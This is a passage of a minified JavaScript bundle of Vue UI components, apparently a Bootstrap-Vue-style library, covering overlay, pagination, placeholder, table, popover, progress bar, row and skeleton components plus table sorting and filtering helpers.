0})),w=(0,a.EW)(()=>s.value?r:{top:\"50%\",left:\"50%\",transform:\"translateX(-50%) translateY(-50%)\"});return(n,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.wrapTag),{class:\"b-overlay-wrap position-relative\",\"aria-busy\":(0,o.R1)(v)},{default:(0,a.k6)(()=>[(0,a.RG)(n.$slots,\"default\"),(0,a.bF)(bc,{\"no-fade\":(0,o.R1)(u),\"trans-props\":{enterToClass:\"show\"},name:\"fade\",onOnAfterEnter:r[1]||(r[1]=e=>t(\"shown\")),onOnAfterLeave:r[2]||(r[2]=e=>t(\"hidden\"))},{default:(0,a.k6)(()=>[(0,o.R1)(c)?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.overlayTag),{key:0,class:(0,i.C4)((0,o.R1)(y)),style:(0,i.Tr)((0,o.R1)(g)),onClick:r[0]||(r[0]=e=>t(\"click\",e))},{default:(0,a.k6)(()=>[(0,a.Lk)(\"div\",{class:(0,i.C4)([\"position-absolute\",(0,o.R1)(b)]),style:(0,i.Tr)((0,o.R1)($))},null,6),(0,a.Lk)(\"div\",{class:\"position-absolute\",style:(0,i.Tr)((0,o.R1)(w))},[(0,a.RG)(n.$slots,\"overlay\",(0,i._B)((0,a.Ng)((0,o.R1)(m))),()=>[(0,a.bF)(Od,(0,i._B)((0,a.Ng)((0,o.R1)(m))),null,16)])],4)]),_:3},8,[\"class\",\"style\"])):(0,a.Q3)(\"\",!0)]),_:3},8,[\"no-fade\"])]),_:3},8,[\"aria-busy\"]))}}),oh=5,ih=20,lh=0,sh=3,uh=\"ellipsis-text\",dh=\"first-text\",ch=\"last-text\",fh=\"next-text\",ph=\"page\",hh=\"prev-text\",vh=e=>Math.max(au(e)||ih,1),mh=e=>Math.max(au(e)||lh,0),gh=(e,t)=>{const n=au(e)||1;return n>t?t:n\u003C1?1:n},yh=(0,a.pM)({name:\"BPagination\",props:{align:{type:String,default:\"start\"},ariaControls:{type:String,required:!1},ariaLabel:{type:String,default:\"Pagination\"},disabled:{type:[Boolean,String],default:!1},ellipsisClass:{type:[Array,String],default:()=>[]},ellipsisText:{type:String,default:\"…\"},firstClass:{type:[Array,String],default:()=>[]},firstNumber:{type:[Boolean,String],default:!1},firstText:{type:String,default:\"«\"},hideEllipsis:{type:[Boolean,String],default:!1},hideGotoEndButtons:{type:[Boolean,String],default:!1},labelFirstPage:{type:String,default:\"Go to first page\"},labelLastPage:{type:String,default:\"Go to last page\"},labelNextPage:{type:String,default:\"Go to next page\"},labelPage:{type:String,default:\"Go to page\"},labelPrevPage:{type:String,default:\"Go to previous page\"},lastClass:{type:[Array,String],default:()=>[]},lastNumber:{type:[Boolean,String],default:!1},lastText:{type:String,default:\"»\"},limit:{type:Number,default:oh},modelValue:{type:Number,default:1},nextClass:{type:[Array,String],default:()=>[]},nextText:{type:String,default:\"›\"},pageClass:{type:[Array,String],default:()=>[]},perPage:{type:Number,default:ih},pills:{type:[Boolean,String],default:!1},prevClass:{type:[Array,String],default:()=>[]},prevText:{type:String,default:\"‹\"},size:{type:String,required:!1},totalRows:{type:Number,default:lh}},emits:[\"update:modelValue\",\"page-click\"],setup(e,{emit:t,slots:n}){const r=cu((0,o.lW)(e,\"disabled\")),i=cu((0,o.lW)(e,\"firstNumber\")),l=cu((0,o.lW)(e,\"hideEllipsis\")),s=cu((0,o.lW)(e,\"hideGotoEndButtons\")),u=cu((0,o.lW)(e,\"lastNumber\")),d=cu((0,o.lW)(e,\"pills\")),c=us((0,o.lW)(e,\"align\")),f=(0,a.EW)(()=>Math.ceil(mh(e.totalRows)\u002Fvh(e.perPage))),p=(0,a.EW)(()=>{let t;return t=f.value-e.modelValue+2\u003Ce.limit&&e.limit>sh?f.value-v.value+1:e.modelValue-Math.floor(v.value\u002F2),t\u003C1?t=1:t>f.value-v.value&&(t=f.value-v.value+1),e.limit\u003C=sh&&u.value&&f.value===t+v.value-1&&(t=Math.max(t-1,1)),t}),h=(0,a.EW)(()=>{const t=f.value-e.modelValue;let n=!1;return t+2\u003Ce.limit&&e.limit>sh?e.limit>sh&&(n=!0):e.limit>sh&&(n=!(l.value&&!i.value)),p.value\u003C=1&&(n=!1),n&&i.value&&p.value\u003C4&&(n=!1),n}),v=(0,a.EW)(()=>{let t=e.limit;return f.value\u003C=e.limit?t=f.value:e.modelValue\u003Ce.limit-1&&e.limit>sh?((!l.value||u.value)&&(t=e.limit-(i.value?0:1)),t=Math.min(t,e.limit)):f.value-e.modelValue+2\u003Ce.limit&&e.limit>sh?(!l.value||i.value)&&(t=e.limit-(u.value?0:1)):e.limit>sh&&(t=e.limit-(l.value?0:2)),t}),m=(0,a.EW)(()=>{const t=f.value-v.value;let n=!1;e.modelValue\u003Ce.limit-1&&e.limit>sh?(!l.value||u.value)&&(n=!0):e.limit>sh&&(n=!(l.value&&!u.value)),p.value>t&&(n=!1);const r=p.value+v.value-1;return n&&u.value&&r>f.value-3&&(n=!1),n}),g=(0,o.Kh)({pageSize:vh(e.perPage),totalRows:mh(e.totalRows),numberOfPages:f.value}),y=(n,r)=>{if(r===e.modelValue)return;const{target:a}=n,o=new hs(\"page-click\",{cancelable:!0,vueTarget:this,target:a});t(\"page-click\",o,r),!o.defaultPrevented&&t(\"update:modelValue\",r)},b=(0,a.EW)(()=>e.size?`pagination-${e.size}`:\"\"),$=(0,a.EW)(()=>d.value?\"b-pagination-pills\":\"\");(0,a.wB)(()=>e.modelValue,n=>{const r=gh(n,f.value);r!==e.modelValue&&t(\"update:modelValue\",r)}),(0,a.wB)(g,(n,r)=>{null!=n&&(r.pageSize!==n.pageSize&&r.totalRows===n.totalRows||r.numberOfPages!==n.numberOfPages&&e.modelValue>r.numberOfPages)&&t(\"update:modelValue\",1)});const w=(0,a.EW)(()=>{const e=[];for(let t=0;t\u003Cv.value;t++)e.push({number:p.value+t,classes:null});return e});return()=>{const t=[],o=w.value.map(e=>e.number),l=t=>t===e.modelValue,d=e.modelValue\u003C1,p=\"fill\"===e.align,v=(t,o,i,s,u,c)=>{const h=r.value||l(c)||d||t\u003C1||t>f.value,v=t\u003C1?1:t>f.value?f.value:t,m={disabled:h,page:v,index:v-1},g=ru(i,m,n)||s||\"\";return(0,a.h)(\"li\",{class:[\"page-item\",{disabled:h,\"flex-fill\":p,\"d-flex\":p&&!h},u]},(0,a.h)(h?\"span\":\"button\",{class:[\"page-link\",{\"flex-grow-1\":!h&&p}],\"aria-label\":o,\"aria-controls\":e.ariaControls||null,\"aria-disabled\":h?\"true\":null,role:\"menuitem\",type:h?null:\"button\",tabindex:h?null:\"-1\",onClick:e=>{h||y(e,v)}},g))},g=t=>(0,a.h)(\"li\",{class:[\"page-item\",\"disabled\",\"bv-d-xs-down-none\",p?\"flex-fill\":\"\",e.ellipsisClass],role:\"separator\",key:\"ellipsis-\"+(t?\"last\":\"first\")},[(0,a.h)(\"span\",{class:[\"page-link\"]},ru(uh,{},n)||e.ellipsisText||\"...\")]),_=(t,o)=>{const i=l(t.number)&&!d,s=r.value?null:i||d&&0===o?\"0\":\"-1\",u={active:i,disabled:r.value,page:t.number,index:t.number-1,content:t.number},c=ru(ph,u,n)||t.number,f=(0,a.h)(r.value?\"span\":\"button\",{class:[\"page-link\",{\"flex-grow-1\":!r.value&&p}],\"aria-controls\":e.ariaControls||null,\"aria-disabled\":r.value?\"true\":null,\"aria-label\":e.labelPage?`${e.labelPage} ${t.number}`:null,role:\"menuitemradio\",type:r.value?null:\"button\",tabindex:s,onClick:e=>{r.value||y(e,t.number)}},c);return(0,a.h)(\"li\",{class:[\"page-item\",{disabled:r.value,active:i,\"flex-fill\":p,\"d-flex\":p&&!r.value},e.pageClass],role:\"presentation\",key:`page-${t.number}`},f)};if(!s.value&&!i.value){const n=v(1,e.labelFirstPage,dh,e.firstText,e.firstClass,1);t.push(n)}const k=v(e.modelValue-1,e.labelFirstPage,hh,e.prevText,e.prevClass,1);t.push(k),i.value&&1!==o[0]&&t.push(_({number:1},0)),h.value&&t.push(g(!1)),w.value.forEach((e,n)=>{const r=h.value&&i.value&&1!==o[0]?1:0;t.push(_(e,n+r))}),m.value&&t.push(g(!0)),u.value&&o[o.length-1]!==f.value&&t.push(_({number:f.value},-1));const C=v(e.modelValue+1,e.labelNextPage,fh,e.nextText,e.nextClass,f.value);if(t.push(C),!u.value&&!s.value){const n=v(f.value,e.labelLastPage,ch,e.lastText,e.lastClass,f.value);t.push(n)}return(0,a.h)(\"ul\",{class:[\"pagination\",b.value,c.value,$.value],role:\"menubar\",\"aria-disabled\":r.value,\"aria-label\":e.ariaLabel||null},t)}}}),bh=(0,a.pM)({__name:\"BPlaceholder\",props:{tag:{default:\"span\"},width:null,cols:null,variant:null,size:null,animation:null},setup(e){const t=e,n=(0,a.EW)(()=>void 0===t.width?void 0:\"number\"==typeof t.width?t.width.toString():t.width.includes(\"%\")?t.width.replaceAll(\"%\",\"\"):t.width),r=(0,a.EW)(()=>void 0===t.cols?void 0:\"number\"==typeof t.cols?t.cols.toString():t.cols),l=(0,a.EW)(()=>({[`col-${r.value}`]:void 0!==r.value&&void 0===n.value,[`bg-${t.variant}`]:void 0!==t.variant,[`placeholder-${t.size}`]:void 0!==t.size,[`placeholder-${t.animation}`]:void 0!==t.animation})),s=(0,a.EW)(()=>void 0===n.value?void 0:`width: ${n.value}%;`);return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"placeholder\",(0,o.R1)(l)]),style:(0,i.Tr)((0,o.R1)(s))},null,8,[\"class\",\"style\"]))}}),$h=(0,a.pM)({__name:\"BPlaceholderButton\",props:{tag:{default:\"div\"},width:null,cols:null,variant:{default:\"primary\"},animation:null},setup(e){const t=e,n=(0,a.EW)(()=>[\"btn\",`btn-${t.variant}`,\"disabled\"]),r=(0,a.EW)(()=>({animation:t.animation,width:t.width,cols:t.cols,tag:t.tag}));return(e,t)=>((0,a.uX)(),(0,a.Wv)(bh,(0,a.v6)({class:(0,o.R1)(n)},(0,o.R1)(r)),null,16,[\"class\"]))}}),wh=(0,a.pM)({__name:\"BPlaceholderCard\",props:{noHeader:{default:!1},headerWidth:{default:100},headerVariant:null,headerAnimation:null,headerSize:null,noFooter:{default:!1},footerWidth:{default:100},footerVariant:null,footerAnimation:null,footerSize:null,animation:null,size:null,variant:null,noButton:{default:!1},imgBottom:{default:!1},imgSrc:null,imgBlankColor:{default:\"#868e96\"},imgHeight:{default:100},noImg:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"noButton\")),r=cu((0,o.lW)(t,\"noHeader\")),l=cu((0,o.lW)(t,\"noFooter\")),s=cu((0,o.lW)(t,\"noImg\")),u=cu((0,o.lW)(t,\"imgBottom\")),d=(0,a.EW)(()=>({width:t.headerWidth,variant:t.headerVariant,animation:t.headerAnimation,size:t.headerSize})),c=(0,a.EW)(()=>({width:t.footerWidth,animation:t.footerAnimation,size:n.value?t.footerSize:void 0,variant:t.footerVariant})),f=(0,a.EW)(()=>({blank:!t.imgSrc,blankColor:t.imgBlankColor,height:t.imgSrc?void 0:t.imgHeight,src:t.imgSrc,top:!u.value,bottom:u.value}));return(e,t)=>((0,a.uX)(),(0,a.Wv)(Gd,{\"img-bottom\":(0,o.R1)(u)},(0,a.eX)({default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.bF)(bh,{cols:\"7\"}),(0,a.bF)(bh,{cols:\"4\"}),(0,a.bF)(bh,{cols:\"4\"}),(0,a.bF)(bh,{cols:\"6\"}),(0,a.bF)(bh,{cols:\"8\"})])]),_:2},[(0,o.R1)(s)?void 0:{name:\"img\",fn:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"img\",{},()=>[(0,a.bF)(Nd,(0,i._B)((0,a.Ng)((0,o.R1)(f))),null,16)])]),key:\"0\"},(0,o.R1)(r)?void 0:{name:\"header\",fn:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"header\",{},()=>[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(d))),null,16)])]),key:\"1\"},(0,o.R1)(l)?void 0:{name:\"footer\",fn:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"footer\",{},()=>[(0,o.R1)(n)?((0,a.uX)(),(0,a.Wv)(bh,(0,i._B)((0,a.v6)({key:1},(0,o.R1)(c))),null,16)):((0,a.uX)(),(0,a.Wv)($h,(0,i._B)((0,a.v6)({key:0},(0,o.R1)(c))),null,16))])]),key:\"2\"}]),1032,[\"img-bottom\"]))}}),_h=(0,a.pM)({__name:\"BTableSimple\",props:{bordered:{default:!1},borderless:{default:!1},borderVariant:null,captionTop:{default:!1},dark:{default:!1},hover:{default:!1},responsive:{type:[Boolean,String],default:!1},stacked:{type:[Boolean,String],default:!1},striped:{default:!1},small:{default:!1},tableClass:null,tableVariant:null,stickyHeader:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"captionTop\")),r=cu((0,o.lW)(t,\"borderless\")),l=cu((0,o.lW)(t,\"bordered\")),s=cu((0,o.lW)(t,\"dark\")),u=cu((0,o.lW)(t,\"hover\")),d=cu((0,o.lW)(t,\"small\")),c=cu((0,o.lW)(t,\"striped\")),f=cu((0,o.lW)(t,\"stickyHeader\")),p=(0,a.EW)(()=>[\"table\",\"b-table\",{\"table-bordered\":l.value,\"table-borderless\":r.value,[`border-${t.borderVariant}`]:void 0!==t.borderVariant,\"caption-top\":n.value,\"table-dark\":s.value,\"table-hover\":u.value,\"b-table-stacked\":\"boolean\"==typeof t.stacked&&t.stacked,[`b-table-stacked-${t.stacked}`]:\"string\"==typeof t.stacked,\"table-striped\":c.value,\"table-sm\":d.value,[`table-${t.tableVariant}`]:void 0!==t.tableVariant},t.tableClass]),h=(0,a.EW)(()=>[{\"table-responsive\":!0===t.responsive,[`table-responsive-${t.responsive}`]:\"string\"==typeof t.responsive,\"b-table-sticky-header\":f.value}]);return(t,n)=>e.responsive?((0,a.uX)(),(0,a.CE)(\"div\",{key:1,class:(0,i.C4)((0,o.R1)(h))},[(0,a.Lk)(\"table\",{role:\"table\",class:(0,i.C4)((0,o.R1)(p))},[(0,a.RG)(t.$slots,\"default\")],2)],2)):((0,a.uX)(),(0,a.CE)(\"table\",{key:0,role:\"table\",class:(0,i.C4)((0,o.R1)(p))},[(0,a.RG)(t.$slots,\"default\")],2))}}),kh=(0,a.pM)({__name:\"BPlaceholderTable\",props:{rows:{default:3},columns:{default:5},cellWidth:{default:100},size:null,animation:null,variant:null,headerColumns:null,hideHeader:{default:!1},headerCellWidth:{default:100},headerSize:null,headerAnimation:null,headerVariant:null,footerColumns:null,showFooter:{default:!1},footerCellWidth:{default:100},footerSize:null,footerAnimation:null,footerVariant:null},setup(e){const t=e,n=(0,a.EW)(()=>\"string\"==typeof t.columns?ou(t.columns,5):t.columns),r=(0,a.EW)(()=>\"string\"==typeof t.rows?ou(t.rows,3):t.rows),l=(0,a.EW)(()=>void 0===t.headerColumns?n.value:\"string\"==typeof t.headerColumns?ou(t.headerColumns,n.value):t.headerColumns),s=(0,a.EW)(()=>void 0===t.footerColumns?n.value:\"string\"==typeof t.footerColumns?ou(t.footerColumns,n.value):t.footerColumns),u=(0,a.EW)(()=>({size:t.size,variant:t.variant,animation:t.animation,width:t.cellWidth})),d=(0,a.EW)(()=>({size:t.headerSize,variant:t.headerVariant,animation:t.headerAnimation,width:t.headerCellWidth})),c=(0,a.EW)(()=>({size:t.footerSize,variant:t.footerVariant,animation:t.footerAnimation,width:t.footerCellWidth})),f=cu((0,o.lW)(t,\"hideHeader\")),p=cu((0,o.lW)(t,\"showFooter\"));return(e,t)=>((0,a.uX)(),(0,a.Wv)(_h,null,{default:(0,a.k6)(()=>[(0,o.R1)(f)?(0,a.Q3)(\"\",!0):(0,a.RG)(e.$slots,\"thead\",{key:0},()=>[(0,a.Lk)(\"thead\",null,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(l),(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(d))),null,16)]))),128))])])]),(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.Lk)(\"tbody\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(r),(e,t)=>((0,a.uX)(),(0,a.CE)(\"tr\",{key:t},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(n),(e,t)=>((0,a.uX)(),(0,a.CE)(\"td\",{key:t},[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(u))),null,16)]))),128))]))),128))])]),(0,o.R1)(p)?(0,a.RG)(e.$slots,\"tfoot\",{key:1},()=>[(0,a.Lk)(\"tfoot\",null,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(s),(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(c))),null,16)]))),128))])])]):(0,a.Q3)(\"\",!0)]),_:3}))}}),Ch=(0,a.pM)({__name:\"BPlaceholderWrapper\",props:{loading:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"loading\"));return(e,n)=>(0,o.R1)(t)?(0,a.RG)(e.$slots,\"loading\",{key:0}):(0,a.RG)(e.$slots,\"default\",{key:1})}}),xh=(0,a.pM)({props:{container:{type:[String,Object],default:\"body\"},content:{type:String},id:{type:String},customClass:{type:String,default:\"\"},noninteractive:{type:[Boolean,String],default:!1},placement:{type:String,default:\"right\"},target:{type:[String,Object],default:void 0},title:{type:String},delay:{type:[Number,Object],default:0},triggers:{type:String,default:\"click\"},show:{type:[Boolean,String],default:!1},variant:{type:String,default:void 0},html:{type:[Boolean,String],default:!0},sanitize:{type:[Boolean,String],default:!1},offset:{type:String,default:\"0\"}},emits:[\"show\",\"shown\",\"hide\",\"hidden\",\"inserted\"],setup(e,{emit:t,slots:n}){cu((0,o.lW)(e,\"noninteractive\"));const r=cu((0,o.lW)(e,\"show\")),i=cu((0,o.lW)(e,\"html\")),l=cu((0,o.lW)(e,\"sanitize\")),s=(0,o.KR)(),u=(0,o.KR)(),d=(0,o.KR)(),c=(0,o.KR)(),f=(0,o.KR)(),p=(0,a.EW)(()=>({[`b-popover-${e.variant}`]:void 0!==e.variant})),h=e=>\"string\"==typeof e||e instanceof HTMLElement?e:typeof e\u003C\"u\"?e.$el:void 0,v=e=>{if(e){if(\"string\"==typeof e){const t=document.getElementById(e);return t||void 0}return e}},m=t=>{u.value=v(h(t)),u.value&&(d.value=new Xi(u.value,{customClass:e.customClass,container:h(e.container),trigger:e.triggers,placement:e.placement,title:e.title||n.title?c.value:\"\",content:f.value,html:i.value,delay:e.delay,sanitize:l.value,offset:e.offset}))};return(0,a.sV)(()=>{var t,n,o;(0,a.dY)(()=>{m(e.target)}),null==(n=null==(t=s.value)?void 0:t.parentNode)||n.removeChild(s.value),r.value&&(null==(o=d.value)||o.show())}),(0,a.xo)(()=>{var e;null==(e=d.value)||e.dispose()}),(0,a.wB)(()=>e.target,e=>{var t;null==(t=d.value)||t.dispose(),m(e)}),(0,a.wB)(()=>r.value,(e,t)=>{var n,r;e!==t&&(e?null==(n=d.value)||n.show():null==(r=d.value)||r.hide())}),mu(u,\"show.bs.popover\",()=>t(\"show\")),mu(u,\"shown.bs.popover\",()=>t(\"shown\")),mu(u,\"hide.bs.popover\",()=>t(\"hide\")),mu(u,\"hidden.bs.popover\",()=>t(\"hidden\")),mu(u,\"inserted.bs.popover\",()=>t(\"inserted\")),{element:s,titleRef:c,contentRef:f,classes:p}}}),Sh=[\"id\"],Eh={ref:\"titleRef\"},Th={ref:\"contentRef\"};function Rh(e,t,n,r,o,l){return(0,a.uX)(),(0,a.CE)(\"div\",{id:e.id,ref:\"element\",class:(0,i.C4)([\"popover b-popover\",e.classes]),role:\"tooltip\",tabindex:\"-1\"},[(0,a.Lk)(\"div\",Eh,[(0,a.RG)(e.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])],512),(0,a.Lk)(\"div\",Th,[(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.content),1)])],512)],10,Sh)}const Oh=vd(xh,[[\"render\",Rh]]),Mh=[\"aria-valuenow\",\"aria-valuemax\"],Ah=(0,a.pM)({__name:\"BProgressBar\",props:{animated:{default:!1},label:null,labelHtml:null,max:null,precision:{default:0},showProgress:{default:!1},showValue:{default:!1},striped:{default:!1},value:{default:0},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"animated\")),r=cu((0,o.lW)(t,\"showProgress\")),l=cu((0,o.lW)(t,\"showValue\")),s=cu((0,o.lW)(t,\"striped\")),u=(0,a.WQ)(Dh),d=(0,a.EW)(()=>({\"progress-bar-animated\":n.value||(null==u?void 0:u.animated),\"progress-bar-striped\":s.value||(null==u?void 0:u.striped)||n.value||(null==u?void 0:u.animated),[`bg-${t.variant}`]:void 0!==t.variant})),c=(0,a.EW)(()=>\"number\"==typeof t.precision?t.precision:Number.parseFloat(t.precision)),f=(0,a.EW)(()=>\"number\"==typeof t.value?t.value:Number.parseFloat(t.value)),p=(0,a.EW)(()=>\"number\"==typeof t.max?t.max:void 0===t.max?void 0:Number.parseFloat(t.max)),h=(0,a.EW)(()=>void 0!==t.labelHtml?t.labelHtml:l.value||(null==u?void 0:u.showValue)?f.value.toFixed(c.value):r.value||(null==u?void 0:u.showProgress)?(100*f.value\u002F(p.value||100)).toFixed(c.value):void 0!==t.label?t.label:\"\"),v=(0,a.EW)(()=>null!=u&&u.max?100*f.value\u002F(\"number\"==typeof u.max?u.max:Number.parseInt(u.max))+\"%\":t.max?100*f.value\u002F(\"number\"==typeof t.max?t.max:Number.parseInt(t.max))+\"%\":\"string\"==typeof t.value?t.value:`${t.value}%`);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"progress-bar\",(0,o.R1)(d)]),role:\"progressbar\",\"aria-valuenow\":e.value,\"aria-valuemin\":\"0\",\"aria-valuemax\":e.max,style:(0,i.Tr)({width:(0,o.R1)(v)})},[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)((0,o.R1)(h)),1)])],14,Mh))}}),Dh=Symbol(),Wh=(0,a.pM)({__name:\"BProgress\",props:{variant:null,max:null,height:null,animated:{default:!1},precision:{default:0},showProgress:{default:!1},showValue:{default:!1},striped:{default:!1},value:{default:0}},setup(e){const t=e,n=cu((0,o.lW)(t,\"animated\")),r=cu((0,o.lW)(t,\"showProgress\")),l=cu((0,o.lW)(t,\"showValue\")),s=cu((0,o.lW)(t,\"striped\")),u=(0,a.EW)(()=>({animated:n.value,max:t.max,precision:t.precision,showProgress:r.value,showValue:l.value,striped:s.value,value:t.value,variant:t.variant}));return(0,a.Gt)(Dh,{animated:n.value,max:t.max,showProgress:r.value,showValue:l.value,striped:s.value}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:\"progress\",style:(0,i.Tr)({height:e.height})},[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.bF)(Ah,(0,i._B)((0,a.Ng)((0,o.R1)(u))),null,16)])],4))}}),Bh=Qs(\"cols\",[\"\"],{type:[String,Number],default:null}),Ph=(0,a.pM)({name:\"BRow\",props:{tag:{type:String,default:\"div\"},gutterX:{type:String,default:null},gutterY:{type:String,default:null},noGutters:{type:[Boolean,String],default:!1},alignV:{type:String,default:null},alignH:{type:String,default:null},alignContent:{type:String,default:null},...Bh},setup(e){const t=cu((0,o.lW)(e,\"noGutters\")),n=Zs(e,Bh,\"cols\",\"row-cols\");return{classes:(0,a.EW)(()=>({[`gx-${e.gutterX}`]:null!==e.gutterX,[`gy-${e.gutterY}`]:null!==e.gutterY,\"g-0\":t.value,[`align-items-${e.alignV}`]:null!==e.alignV,[`justify-content-${e.alignH}`]:null!==e.alignH,[`align-content-${e.alignContent}`]:null!==e.alignContent})),rowColsClasses:n}}});function Ih(e,t,n,r,o,l){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"row\",[e.classes,e.rowColsClasses]])},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},8,[\"class\"])}const Nh=vd(Ph,[[\"render\",Ih]]),Lh=(0,a.pM)({__name:\"BSkeleton\",props:{height:null,width:null,size:null,animation:{default:\"wave\"},type:{default:\"text\"},variant:null},setup(e){const t=e,n=(0,a.EW)(()=>[`b-skeleton-${t.type}`,{[`b-skeleton-animate-${t.animation}`]:\"boolean\"!=typeof t.animation&&t.animation,[`bg-${t.variant}`]:void 0!==t.variant}]),r=(0,a.EW)(()=>({width:t.size||t.width,height:t.size||t.height}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"b-skeleton\",(0,o.R1)(n)]),style:(0,i.Tr)((0,o.R1)(r))},null,6))}}),jh=(0,a.pM)({__name:\"BSkeletonIcon\",props:{animation:{default:\"wave\"}},setup(e){const t=e,n=(0,a.EW)(()=>[`b-skeleton-animate-${t.animation}`]);return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"b-skeleton-icon-wrapper position-relative d-inline-block overflow-hidden\",(0,o.R1)(n)])},[(0,a.RG)(e.$slots,\"default\")],2))}}),Fh={key:0},Vh={key:1},Uh=(0,a.pM)({__name:\"BSkeletonTable\",props:{animation:{default:\"wave\"},columns:{default:5},hideHeader:{default:!1},rows:{default:3},showFooter:{default:!1},tableProps:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"hideHeader\")),r=cu((0,o.lW)(t,\"showFooter\"));return(t,l)=>((0,a.uX)(),(0,a.Wv)(_h,(0,i._B)((0,a.Ng)(e.tableProps)),{default:(0,a.k6)(()=>[(0,o.R1)(n)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"thead\",Fh,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.columns,(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(Lh)]))),128))])])),(0,a.Lk)(\"tbody\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.rows,(t,n)=>((0,a.uX)(),(0,a.CE)(\"tr\",{key:n},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.columns,(e,t)=>((0,a.uX)(),(0,a.CE)(\"td\",{key:t},[(0,a.bF)(Lh,{width:\"75%\"})]))),128))]))),128))]),(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(\"tfoot\",Vh,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.columns,(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(Lh)]))),128))])])):(0,a.Q3)(\"\",!0)]),_:1},16))}}),Xh=(0,a.pM)({__name:\"BSkeletonWrapper\",props:{loading:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"loading\"));return(e,n)=>(0,o.R1)(t)?(0,a.RG)(e.$slots,\"loading\",{key:0}):(0,a.RG)(e.$slots,\"default\",{key:1})}}),Hh=()=>{const e=(e,t)=>{const n=[];return null!=e&&e.length||!(null==t?void 0:t.length)?(Array.isArray(e)&&e.forEach(e=>{\"string\"==typeof e?n.push({key:e,label:Ss(e)}):vs(e)&&e.key&&\"string\"==typeof e.key&&n.push({...e})}),n):(Object.keys(t[0]).forEach(e=>n.push({key:e,label:Ss(e)})),n)},t=(0,o.KR)([]),n=(e,n,o,l)=>{if(t.value=fs(n),\"isFilterableTable\"in l&&!0===l.isFilterableTable.value&&o.filter&&(t.value=i(t.value,o.filter,o.filterable),r.value&&r.value(t.value)),\"isSortable\"in l&&!0===l.isSortable.value&&(t.value=a(e,t.value,{key:o.sortBy,desc:l.sortDescBoolean.value},o.sortCompare)),void 0!==o.perPage){const e=(o.currentPage-1)*o.perPage;t.value=t.value.splice(e,o.perPage)}return t.value},r=(0,o.KR)(void 0),a=(e,t,n,r)=>{if(!n||!n.key)return t;const a=n.key;return t.sort((e,t)=>{if(void 0!==r)return r(e,t,n.key,n.desc);const o=e=>\"object\"==typeof e?JSON.stringify(e):e;return o(e[a])>o(t[a])?n.desc?-1:1:o(t[a])>o(e[a])?n.desc?1:-1:0})},i=(e,t,n)=>e.filter(e=>Object.entries(e).filter(e=>{const[r,a]=e;return!(\"_\"===r[0]||n.length>0&&!n.includes(r))&&(\"object\"==typeof a?JSON.stringify(Object.values(a)):\"string\"==typeof a?a:a.toString()).toLowerCase().includes(t.toLowerCase())}).length>0);return{normaliseFields:e,mapItems:n,internalItems:t,updateInternalItems:async e=>{try{return t.value=await ps(e),t.value}catch{return}},filterEvent:r}},Gh=[\"title\",\"abbr\",\"onClick\"],Yh={class:\"d-inline-flex flex-nowrap align-items-center gap-1\"},zh={key:0,class:\"b-table-sort-icon text-muted small\"},Kh={key:1},qh=[\"onClick\",\"onDblclick\",\"onMouseenter\",\"onMouseleave\"],Qh=[\"colspan\"],Zh=[\"colspan\"],Jh={class:\"d-flex align-items-center justify-content-center 